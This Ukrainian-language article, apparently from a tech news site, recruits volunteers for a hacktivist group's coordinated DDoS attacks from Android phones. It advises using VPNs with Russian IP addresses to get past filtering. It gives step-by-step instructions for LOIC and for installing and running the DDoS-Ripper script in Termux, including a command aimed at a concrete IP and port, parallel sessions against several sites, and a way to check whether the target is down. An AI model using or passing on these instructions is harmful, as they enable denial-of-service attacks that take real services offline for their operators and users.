Координована DDoS-атака на Android

Підписуйтеся на Telegram-канал «DOU #tech», щоб не пропустити нові технічні статті.

Волонтерське угруповання хактивістів України «Кібер-козаки» має на меті ціленаправлені атаки. Усі атаки проводяться командами (див. канал telegram). Важливо проводити атаку лише з увімкненим VPN. Найкращий варіант — це використовувати IP-адресу рф, проте можливо використовувати і інші країни. Українські IP фільтруються сайтами. Для ефективності періодично змінюйте країну VPN.

VPN

• Windscribe (коштує 9$);
• F Secure;
• Clear VPN (рік безкоштовної підписки для України);
• Urban VPN;
• Psiphone VPN;
• будь-який інший VPN.

Android

LOIC (v. 5.0)

1. Вкажіть IP (з каналу), натисніть Lock On.
2. Вкажiть порт.
3. Оберіть метод HTTP.
4. Натисніть FIRE.

Threads (потоки) — встановлюються приблизно, кількість залежить від якості інтернет-з’єднання.

Додаток відсутній у Play Market, тому потрібно завантажити apk файл:

Signature A5A92CCB1D5A5B319E1857E9F775F4F910B060B7
MD5 8DA77997D0B91E02B01FD8D2ABA2ACFF

Termux DDoS Riper

Termux — додаток емулятор терміналу та середовища Linux.

DDoS-Ripper — популярний ddos-сервер, написаний на Python. Атакує лише одну ціль за раз, проте termux має можливість створення декількох паралельних сесій, відповідно можна паралельно атакувати декілька сайтів.

Встановлення

Якщо отримуєте помилку unable to locate package, змініть дзеркала Termux:

• termux-change-repo, та оберіть перший з репозиторію main. Якщо команду написати неправильно, вона не розпізнається.
• встановіть git — pkg install git -y
• встановіть python — pkg install python -y
• встановіть python3 — pkg install python3 -y
• скопіюйте проект — git clone github.com/palahsu/DDoS-Ripper.git
• перемістіться у папку cd DDoS-Ripper
• перегляньте файли $ ls
• запустіть скрипт $ python3 DRipper.py

Команди

python3 DRipper.py -s 87.236.16.230 -p 443, де замість 87.236.16.230 підставте будь IP адресу, на яку зараз проводиться атака (канал).

• p вкажіть порт
• t кількість потоків (запитів)

Якщо сайт не доступний, ви отримаєте повідомлення — no connection! web server maybe down! Якщо не вдається запустити атаку, перегляньте, з якої країни сайт ще доступний і атакуйте з неї.

Перевірити доступність атакованного сайту можна за допомогою таких ресурсу port.ping.pe та подібних.